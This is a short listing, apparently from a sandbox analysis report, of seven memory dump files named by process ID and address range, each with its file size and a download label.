memory/3904-95-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/5112-52-0x00007FFE06F20000-0x00007FFE0790C000-memory.dmp

Filesize
9.9MB

Download
memory/5112-13-0x00007FFE06F23000-0x00007FFE06F24000-memory.dmp

Filesize
4KB

Download
memory/5112-19-0x000001DB5F870000-0x000001DB5F8E6000-memory.dmp

Filesize
472KB

Download
memory/5112-20-0x00007FFE06F20000-0x00007FFE0790C000-memory.dmp

Filesize
9.9MB

Download
memory/5112-17-0x00007FFE06F20000-0x00007FFE0790C000-memory.dmp

Filesize
9.9MB

Download
memory/5112-15-0x000001DB5F740000-0x000001DB5F762000-memory.dmp

Filesize
136KB

Download